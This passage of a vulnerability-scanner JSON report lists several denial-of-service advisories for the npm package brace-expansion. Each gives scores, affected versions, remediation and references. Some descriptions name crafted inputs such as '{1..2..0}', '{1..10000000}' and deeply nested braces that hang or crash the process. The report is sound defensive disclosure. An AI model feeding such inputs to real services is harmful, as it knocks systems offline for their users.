"title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Alessio Della Libera" ], "semver": { "vulnerable": [ "<1.1.18", ">=2.0.0 <2.1.4", ">=3.0.0 <3.0.6", ">=4.0.0 <5.0.9" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.18", "2.1.4", "3.0.6", "5.0.9" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T21:42:52.694864Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T21:42:52.694864Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n", "epssDetails": { "percentile": "0.48810", "probability": "0.00647", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-69152" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-rgw5-rvv9-x895" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-08-03T18:50:29.684875Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-08-03T16:35:32Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-08-03T18:50:29.862827Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T21:42:52.694864Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-20244948", "title": "Uncontrolled Recursion", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Gareth Jones", "Jeremy Katz" ], "semver": { "vulnerable": [ "<1.1.20", ">=2.0.0 <2.1.6", ">=3.0.0 <3.0.8", ">=4.0.0 <5.0.11" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.20", "2.1.6", "3.0.8", "5.0.11" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-10-09T05:49:36.917866Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-09T05:49:37.555149Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-09T05:49:37.555149Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-10-09T05:49:36.917866Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n", "epssDetails": { "percentile": "0.26155", "probability": "0.00350", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-102278" ], "CWE": [ "CWE-674" ], "GHSA": [ "GHSA-qhr7-859c-m2p7" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-09-29T07:28:47.469361Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-28T23:27:22Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-29T07:28:47.672458Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-09T05:49:37.555149Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-20244952", "title": "Uncontrolled Recursion", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "baeseungwon1010", "Jeremy Katz" ], "semver": { "vulnerable": [ "<1.1.19", ">=2.0.0 <2.1.5", ">=3.0.0 <3.0.7", ">=4.0.0 <5.0.10" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.19", "2.1.5", "3.0.7", "5.0.10" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p", "title": "Maintainer's Advisory" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-09-29T05:44:15.508690Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-29T19:40:12.310972Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-29T19:40:12.310972Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-29T05:44:15.508690Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n", "epssDetails": { "percentile": "0.26155", "probability": "0.00350", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-102276" ], "CWE": [ "CWE-674" ], "GHSA": [ "GHSA-6j4f-fj2g-mc7p" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-09-29T07:36:51.075985Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-28T23:27:21Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-29T07:36:51.235635Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-29T19:40:12.310972Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-15789759", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ "<1.1.13", ">=2.0.0 <2.0.3", ">=3.0.0 <3.0.2", ">=4.0.0 <5.0.5" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.13", "2.0.3", "3.0.2", "5.0.5" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113", "title": "Vulnerable Code" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T02:01:42.918000Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T02:01:42.918000Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n", "epssDetails": { "percentile": "0.47050", "probability": "0.00613", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33750" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-f886-m6hf-6m8v" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-03-27T07:45:56.244707Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-26T18:29:42Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-27T07:45:56.429154Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T02:01:42.918000Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.14", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-16755174", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ ">=5.0.2 <5.0.6" ] }, "exploit": "Not Defined", "fixedIn": [ "5.0.6" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T02:01:42.918521Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T02:01:42.918521Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the `max` option being applied after generating all elements in a large numeric range. An attacker can exhaust system memory and processing resources by submitting input such as `{1..10000000}` that causes excessive allocation and computation before the output is limited.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by ensuring the string to be expanded does not contain more values than the desired `max` item count.\n## Remediation\nUpgrade `brace-expansion` to version 5.0.6 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5)\n", "epssDetails": { "percentile": "0.26429", "probability": "0.00355", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-45149" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-jxxr-4gwj-5jf2" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-05-19T09:10:10.822382Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-05-18T16:22:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-19T09:10:11.009629Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T02:01:42.918521Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.14", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-17706650", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.7" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.16", "2.1.2", "5.0.7" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n", "epssDetails": { "percentile": "0.29069", "probability": "0.00364", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-13149" ], "CWE": [ "CWE-407" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-06-30T11:38:19.757696Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-06-30T11:25:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-06-30T11:38:19.961909Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:04:38.442182Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, 